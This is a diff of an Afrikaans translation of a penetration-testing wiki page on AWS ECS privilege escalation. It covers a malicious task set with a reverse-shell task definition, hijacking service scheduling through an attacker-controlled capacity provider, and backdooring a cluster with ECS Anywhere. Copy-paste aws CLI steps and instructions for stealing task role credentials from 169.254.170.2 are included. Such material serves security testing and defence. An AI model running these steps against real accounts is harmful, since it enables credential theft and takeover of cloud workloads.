+- Om `container instance` te registreer deur die instance identity document/signature te gebruik, dui dit daarop dat jy toegang het tot 'n EC2-instance in die teikenrekening (of een gekompromitteer het). Vir cross-account "bring your own EC2", sien die **ECS Anywhere** tegniek op hierdie bladsy.
+- Plasingsbeperkings berus gewoonlik op container instance-eienskappe. Lys dit via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, en `ecs:DescribeContainerInstances` om te weet watter eienskappe jy moet stel.


 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
@@ -293,7 +342,7 @@ Kyk op die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **priv
 > [!NOTE]
 > TODO: Toets dit

-'n Aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadaardige task set vir 'n bestaande ECS-diens skep en die primêre task set opdateer**. Dit stel die aanvaller in staat om **willekeurige kode binne die diens uit te voer**.
+'n aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set vir 'n bestaande ECS service skep en die primêre task set opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**.
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -319,7 +368,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Potensiële impak**: Voer arbitrêre kode uit in die aangetaste diens, wat moontlik die funksionaliteit beïnvloed of sensitiewe data eksfiltreer.
+**Potensiële impak**: Voer ewekansige kode uit in die geraakte diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data kan eksfiltreer.

 ## Verwysings

@@ -333,7 +382,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi

 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-An aanvaller met permissies om ECS capacity providers te bestuur en services op te dateer kan 'n EC2 Auto Scaling Group wat hulle beheer skep, dit in 'n ECS Capacity Provider verpak, dit aan die teiken-cluster koppel en 'n slagoffer-service migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2-instanse geskeduleer word, wat OS-vlak toegang moontlik maak om containers te inspekteer en task role credentials te steel.
+'n Aanvaller met permissies om ECS capacity providers te bestuur en services op te dateer, kan 'n EC2 Auto Scaling Group wat hulle beheer skep, dit in 'n ECS Capacity Provider inprop, dit aan die teiken-cluster koppel, en 'n slagoffer-diens migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang gee om containers te ondersoek en task role credentials te steel.

 Commands (us-east-1):

@@ -365,17 +414,17 @@ Commands (us-east-1):



- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
+- Opsioneel: Vanaf die EC2-node, docker exec in die teiken-containers en lees http://169.254.170.2 om die task role credentials te bekom.

- Cleanup
+- Opruiming



-**Potensiële impak:** Aanvaller-beheerde EC2-node ontvang slagoffer-tasks, wat OS-vlak toegang tot containers en diefstal van task IAM role credentials moontlik maak.
+**Potensiële impak:** EC2-nodes wat deur die aanvaller beheer word ontvang slagoffer-tasks, wat OS-vlak-toegang tot containers en diefstal van task IAM role credentials moontlik maak.


 <details>
-<summary>Step-by-step commands (copy/paste)</summary>
+<summary>Stap-vir-stap opdragte (kopieer/plak)</summary>
 <pre>
 export AWS_DEFAULT_REGION=us-east-1
 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -410,15 +459,15 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que

 ### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

-Misbruik ECS Anywhere om 'n aanvaller-beheerde gasheer as 'n EXTERNAL container instance in 'n slagoffer ECS cluster te registreer en tasks op daardie gasheer te laat loop met bevoorregte task en execution rolle. Dit gee OS-vlak beheer oor waar tasks loop (jou eie masjien) en maak dit moontlik om credentials/data van tasks en aangehegte volumes te steel sonder om capacity providers of ASGs aan te raak.
+Misbruik ECS Anywhere om 'n aanvaller-beheerde host as 'n EXTERNAL container instance in 'n slagoffer ECS cluster te registreer en tasks op daardie host te laat loop met behulp van privileged task en execution roles. Dit gee OS-vlak beheer oor waar tasks loop (jou eie masjien) en laat toe dat credentials/data van tasks en aangehegte volumes gesteel word sonder om capacity providers of ASGs te raak.

- Vereiste perms (voorbeeld minimum):
- ecs:CreateCluster (opsioneel), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
+- Vereiste perms (voorbeeld minimaal):
+- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
 - ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (vir die ECS Anywhere instance role en task/execution rolle)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (as jy awslogs gebruik)
+- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
+- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)

- Impak: Hardloop arbitrêre containers met geselekteerde taskRoleArn op aanvaller-gasheer; eksfiltreer task-role credentials vanaf 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; toegang tot enige volumes wat deur tasks gemount is; subtieler as die manipulasie van capacity providers/ASGs.
+- Impak: Laat ewekansige containers loop met 'n gekose taskRoleArn op die aanvaller-host; eksfiltreer task-role credentials vanaf 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; kry toegang tot enige volumes wat deur tasks gemount is; meer stil as om capacity providers/ASGs te manipuleer.

 Stappe

@@ -426,7 +475,7 @@ Stappe
 ```bash
 aws ecs create-cluster --cluster-name ht-ecs-anywhere
 ```
-2) Skep ECS Anywhere-rol en SSM-aktivering (vir on-prem/EXTERNAL instansie)
+2) Skep ECS Anywhere role en SSM activation (vir on-prem/EXTERNAL instance)
 ```bash
 aws iam create-role --role-name ecsAnywhereRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -435,7 +484,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
 ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
 ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
 ```
-3) Voorzie aanvaller-gasheer en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as “on‑prem”)
+3) Voorzie attacker host en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as “on‑prem”)

 <details>
 <summary>user-data.sh</summary>
@@ -456,14 +505,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
 --user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
 aws ec2 wait instance-status-ok --instance-ids $IID
 ```
-4) Verifieer dat die EXTERNAL container instance aangesluit het
+4) Verifieer dat die EXTERNAL container instance aangesluit is
 ```bash
 aws ecs list-container-instances --cluster ht-ecs-anywhere
 aws ecs describe-container-instances --cluster ht-ecs-anywhere \
 --container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
 # ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
 ```
-5) Skep task/execution roles, registreer EXTERNAL task definition, en voer dit uit op die attacker host
+5) Skep task/execution roles, registreer EXTERNAL task definition, en voer dit op die aanvaller-host uit
 ```bash
 # roles
 aws iam create-role --role-name ht-ecs-task-exec \
@@ -499,26 +548,26 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
 aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
 --container-instances $CI
 ```
-6) Van hier af beheer jy die host wat die tasks uitvoer. Jy kan task logs lees (as awslogs) of direk op die host exec om credentials/data te exfiltrate vanaf jou tasks.
+6) Van hier af het jy beheer oor die host wat die tasks uitvoer. Jy kan task logs (as awslogs) lees of direk op die host exec om credentials/data van jou tasks te exfiltrate.



-#### Command voorbeeld (plaashouers)
+#### Opdragvoorbeeld (plaatshouers)




 ### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

-An attacker met permissies om ECS capacity providers te bestuur en services op te dateer, kan 'n EC2 Auto Scaling Group skep wat hulle beheer, dit in 'n ECS Capacity Provider inpak, dit aan die teiken cluster koppel, en 'n victim service migreer om hierdie provider te gebruik. Tasks sal dan op attacker-controlled EC2 instances geskeduleer word, wat OS-vlak toegang tot containers en diefstal van task role credentials moontlik maak.
+'n Aanvaller met toestemmings om ECS capacity providers te bestuur en services by te werk, kan 'n EC2 Auto Scaling Group skep wat hulle beheer, dit in 'n ECS Capacity Provider inspan, dit aan die teiken cluster koppel, en 'n slagoffer service na hierdie provider migreer. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang toelaat om containers te inspekteer en task role credentials te steel.

-Opdragte (us-east-1):
+Commands (us-east-1):

 - Vereistes



- Skep 'n Launch Template sodat die ECS agent by die teiken cluster kan aansluit
+- Skep Launch Template vir die ECS agent om by die teiken cluster aan te sluit



@@ -538,15 +587,15 @@ Opdragte (us-east-1):



- Verifieer dat tasks op attacker instances land
+- Verifieer dat tasks op aanvaller-instances land



- Opsioneel: Vanaf die EC2 node, gebruik docker exec in die target containers en lees http://169.254.170.2 om die task role credentials te bekom.
+- Opsioneel: Vanaf die EC2 node, docker exec in die teiken containers en lees http://169.254.170.2 om die task role credentials te verkry.

 - Opruiming



-**Potential Impact:** Attacker-controlled EC2 nodes ontvang victim tasks, wat OS-level toegang tot containers moontlik maak en diefstal van task IAM role credentials.
+**Potensiële impak:** Aanvaller-beheerde EC2 nodes ontvang slagoffer tasks, wat OS-vlak toegang tot containers en diefstal van task IAM role credentials moontlik maak.
 {{#include ../../../../banners/hacktricks-training.md}}